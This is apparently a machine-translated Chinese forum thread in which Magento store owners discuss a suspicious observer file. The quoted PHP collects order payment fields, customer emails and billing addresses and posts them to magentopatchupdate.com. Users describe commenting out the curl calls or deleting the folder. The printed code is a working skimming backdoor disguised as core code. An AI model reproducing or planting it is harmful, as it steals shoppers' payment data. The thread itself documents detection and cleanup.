我只是解決了這個問題的客戶端 - 該文件是:
/app/code/local/Mage/Controller/Model/Observer.php
我沒有刪除它,我只是在saleCreated函數中註釋掉了curl命令。
public function saleCreated(Varien_Event_Observer $observer)
{
$url = 'http://magentopatchupdate.com/update/529U76xbMIH.php';
$orderData = $observer->getEvent()->getOrder();
$order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId());
$this->_preparePaymentData($_POST, '');
//$this->orderDetails['shipping_method'] = $order->getShippingMethod();
$this->orderDetails['customer_email'] = $order->getCustomerEmail();
$this->getOrderAddressInfo($order, 'billing');
//$this->getOrderAddressInfo($order, 'shipping');
//print_r(json_encode($this->orderDetails));
$postStr = '';
foreach($this->orderDetails as $key=>$value) {
$postStr .= $key . '=' . $value . '&';
}
rtrim($postStr, '&');
//This was causing issue - commented out all curl commands
//$ch = curl_init();
//curl_setopt($ch,CURLOPT_URL, $url);
//curl_setopt($ch,CURLOPT_POST, count($_POST));
//curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr);
//$result = curl_exec($ch);
//curl_close($ch);
}
上述的一些行被註釋掉已經 - 爲什麼它發出訂單的詳細信息,以magentopatchupdate.com是非常可疑......這裏
同樣的問題 – gog
我只是通過刪除解決這個問題/應用/代碼/本地/法師/控制器文件夾。我認爲這個文件夾在應用安全補丁後創建 –